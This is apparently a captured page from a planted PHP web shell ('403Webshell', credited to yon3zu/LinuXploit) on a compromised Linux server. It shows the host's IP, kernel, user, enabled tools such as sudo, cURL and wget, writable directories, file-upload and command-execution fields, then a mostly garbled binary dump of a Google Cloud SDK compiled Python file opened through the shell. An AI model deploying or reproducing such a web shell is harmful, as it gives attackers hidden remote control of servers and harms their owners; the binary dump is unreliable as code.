403Webshell
Server IP : 35.236.43.222  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux order-form-vm-001 5.10.0-37-cloud-amd64 #1 SMP Debian 5.10.247-1 (2025-12-11) x86_64
User : deploy ( 1002)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/google-cloud-sdk/lib/surface/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/google-cloud-sdk/lib/surface/__pycache__/feedback.cpython-311.pyc
�

������dZddlmZddlmZddlmZddlZddlZddlmZddl	m
Z
ddl	mZdd	lm
Z
dd
lmZddlmZddlmZddlZdd
lmZdZdZd�ee��Zd�e
j��Zd�Zd�Zejej j!��Gd�dej"����Z#dS)a�Command to assist user in submitting feedback about gcloud.

Does one of two things:

1. If invoked in the context of a recent gcloud crash (i.e. an exception that
was not caught anywhere in the Cloud SDK), will direct the user to the Cloud SDK
bug tracker, with a partly pre-filled form.

2. Otherwise, directs the user to either the Cloud SDK bug tracker,
StackOverflow, or the Cloud SDK groups page.
�)�absolute_import)�division)�unicode_literalsN)�base)�
feedback_util)�info_holder)�log)�
console_io)�files)�text)�mapz0http://stackoverflow.com/questions/tagged/gcloudzChttps://groups.google.com/forum/?fromgroups#!forum/google-cloud-deva
We appreciate your feedback.

If you have a question, post it on Stack Overflow using the "gcloud" tag at
[{0}].

For general feedback, use our groups page
[{1}],
send a mail to [google-cloud-dev@googlegroups.com] or visit the [#gcloud] IRC
channel on freenode.
zaWould you like to file a bug using our issue tracker site at [{0}] (will open a new browser tab)?c��|r3|js,tjd�|j����tjtjd���tttj
����tj��}tj|��|r |jrtj|j��tj|�����tj|��dS)z�Print message referring to various feedback resources for quiet execution.

  Args:
    info_str: str, the output of `gcloud info`
    log_data: info_holder.LogData, log data for the provided log file
  zHPlease consider including the log file [{0}] in any feedback you submit.a�
      If you have a question, post it on Stack Overflow using the "gcloud" tag
      at [{0}].

      For general feedback, use our groups page
      [{1}],
      send a mail to [google-cloud-dev@googlegroups.com], or visit the [#gcloud]
      IRC channel on freenode.

      If you have found a bug, file it using our issue tracker site at
      [{2}].

      Please include the following information when filing a bug report:      N)
�	tracebackr	�Print�format�filename�textwrap�dedent�STACKOVERFLOW_URL�GROUPS_PAGE_URLr�ISSUE_TRACKER_URL�
GetDivider�strip)�info_str�log_data�dividers   �lib/surface/feedback.py�_PrintQuietrHs����D���D�	�i�(�)/���0A�)B�)B�D�D�D��)�H�O�
�
�
��6�#�_��1�3�3�4�4�4� 
�$�&�&�'��)�G����
�"�(�$�"��I�h� �!�!�!��)�H�N�N�������)�G������c�B��tj�����}|rttj�����fd�}tjtt||����dgzdd���}|t|��kr
||SdSdS)Nc���|jrdnd}d}|jrtj�|jz
��dz}d�|j||��S)Nz (crash detected)�zUnknown timez agoz
[{0}]{1}: {2})r�date�	text_util�PrettyTimeDeltar�command)�run�crash�time�nows   �r�_FormatLogDataz1_SuggestIncludeRecentLogs.<locals>._FormatLogDatapsZ���%(�]�:�!�!��e�
�d�	��B��(��s�x��8�8�6�A��
�
#�
#�C�K���
=�
=�=rz
None of theserzjWhich recent gcloud invocation would you like to provide feedback about? This will open a new browser tab.)�default�message)
r�LogsInfo�
GetRecentRuns�datetimer*r
�PromptChoice�listr
�len)�recent_runsr+�idxr*s   @r�_SuggestIncludeRecentLogsr6ls�����$�&�&�4�4�6�6�+��
�
�
�
�
�
!�
!�C�>�>�>�>�>��
!��S���
-�
-�.�.�/�1B�B�A�E�G�G�G�C��S��
�
���
��
��
�
��rc�D�eZdZdZddiZejZed���Z	d�Z
dS)�Feedbacka�Provide feedback to the Google Cloud CLI team.

  The Google Cloud CLI team offers support through a number of channels:

  * Google Cloud CLI Issue Tracker
  * Stack Overflow "#gcloud" tag
  * google-cloud-dev Google group

  This command lists the available channels and facilitates getting help through
  one of them by opening a web browser to the relevant page, possibly with
  information relevant to the current install and configuration pre-populated in
  form fields on that page.
  �EXAMPLESa
          To send feedback, including the log file for the most recent command,
          run:

            $ {command}

          To send feedback with a previously generated log file named
          'my-logfile', run:

            $ {command} --log-file=my-logfile
          c�4�|�dd���dS)Nz
--log-filez-Path to the log file from a prior gcloud run.)�help)�add_argument)�parsers r�Argsz
Feedback.Args�s/��
����
<��>�>�>�>�>rc�\�tjtj�����}d}|jro	tj�|j��}nI#tj$r7}tj	d�
|j|����Yd}~nd}~wwxYw|jr$ttj|��|��dStj�t"��|st%��}|st'jd���rt+j||��dSdS)N)�
anonymizerz,Error reading the specified file [{0}]: {1}
zXNo invocation selected. Would you still like to file a bug (will open a new browser tab))�
prompt_string)r�
InfoHolder�
Anonymizer�log_file�LogData�FromFiler�Errorr	�warningr�quietr�six�	text_type�statusr�FEEDBACK_MESSAGEr6r
�PromptContinuer�OpenNewIssueInBrowser)�self�args�infor�errs     r�RunzFeedback.Run�sT���!�[�-C�-E�-E�F�F�F�D��H��}�8�8��&�/�/��
�>�>����
�[�8�8�8����"�F�4�=�#�6�6�	8�	8�	8�	8�	8�	8�	8�	8�����8�����z�	<��#�-��%�%�x�0�0�0�0�0�	�j���'�(�(�(�
�/�,�.�.��	�<�Z�.�?�A�A�A�<�	�+�D�(�;�;�;�;�;�<�<s�$A�B�%-B�BN)�__name__�
__module__�__qualname__�__doc__�
detailed_helpr�SDK_TOOLS_CATEGORY�category�staticmethodr>rT�rrr8r8~sa���������
��-��
$�(��>�>��<�>�
<�<�<�<�<rr8)$rX�
__future__rrrr0r�googlecloudsdk.callioper�googlecloudsdk.command_librr�googlecloudsdk.corer	�googlecloudsdk.core.consoler
�googlecloudsdk.core.utilrrr$rJ�	six.movesr
rrrrMr�FEEDBACK_PROMPTrr6�
ReleaseTracks�ReleaseTrack�GA�Commandr8r]rr�<module>rjs��� 
�
�'�&�&�&�&�&�������'�'�'�'�'�'���������(�(�(�(�(�(�4�4�4�4�4�4�2�2�2�2�2�2�#�#�#�#�#�#�2�2�2�2�2�2�*�*�*�*�*�*�6�6�6�6�6�6�
�
�
�
�������G��&����F��o�.�.����F�=�*�+�+��!�!�!�H���$���D�%�(�)�)�7<�7<�7<�7<�7<�t�|�7<�7<�*�)�7<�7<�7<r

Youez - 2016 - github.com/yon3zu
LinuXploit